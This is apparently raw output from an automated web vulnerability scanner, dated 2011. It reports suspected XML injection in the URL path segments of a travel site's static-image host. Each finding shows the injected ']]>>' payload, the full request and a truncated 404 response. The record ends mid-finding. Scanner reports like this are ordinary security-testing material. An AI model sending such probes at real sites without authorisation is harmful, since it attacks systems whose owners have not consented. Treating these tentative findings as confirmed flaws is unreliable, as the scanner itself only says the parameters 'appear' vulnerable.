HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:01:59 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 4 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 4. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/global/background]]>>/sidebar-title-module-top-right-corner.gif?ver=169565 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535999 Date: Mon, 03 Oct 2011 01:02:03 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 5 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 5. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/global/background/sidebar-title-module-top-right-corner.gif]]>>?ver=169565 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Expires: Mon, 03 Oct 2011 01:02:06 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Mon, 03 Oct 2011 01:02:06 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static]]>>/images/global/bullets/red-bullet-img.gif?ver=211768 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:01:55 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images]]>>/global/bullets/red-bullet-img.gif?ver=211768 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:01:58 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/global]]>>/bullets/red-bullet-img.gif?ver=211768 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:03 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 4 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 4. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/global/bullets]]>>/red-bullet-img.gif?ver=211768 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535954 Date: Mon, 03 Oct 2011 01:02:08 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 5 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 5. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/global/bullets/red-bullet-img.gif]]>>?ver=211768 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Expires: Mon, 03 Oct 2011 01:02:12 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Mon, 03 Oct 2011 01:02:12 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static]]>>/images/global/buttons/promo-button-red.gif?ver=205501 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:01:57 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images]]>>/global/buttons/promo-button-red.gif?ver=205501 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:00 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/global]]>>/buttons/promo-button-red.gif?ver=205501 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535999 Date: Mon, 03 Oct 2011 01:02:04 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 4 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 4. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/global/buttons]]>>/promo-button-red.gif?ver=205501 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:07 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 5 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 5. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/global/buttons/promo-button-red.gif]]>>?ver=205501 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Expires: Mon, 03 Oct 2011 01:02:10 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Mon, 03 Oct 2011 01:02:10 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static]]>>/images/hotel/details/about-your-hotel-headline.gif?ver=222796 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:01:56 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images]]>>/hotel/details/about-your-hotel-headline.gif?ver=222796 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535947 Date: Mon, 03 Oct 2011 01:01:58 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/hotel]]>>/details/about-your-hotel-headline.gif?ver=222796 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:03 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 4 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 4. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/hotel/details]]>>/about-your-hotel-headline.gif?ver=222796 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535994 Date: Mon, 03 Oct 2011 01:02:08 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 5 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 5. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/hotel/details/about-your-hotel-headline.gif]]>>?ver=222796 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Expires: Mon, 03 Oct 2011 01:02:13 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Mon, 03 Oct 2011 01:02:13 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static]]>>/images/hotel/details/car_icon.jpg?ver=222796 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:01:55 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images]]>>/hotel/details/car_icon.jpg?ver=222796 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:01:58 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/hotel]]>>/details/car_icon.jpg?ver=222796 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:03 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 4 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 4. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
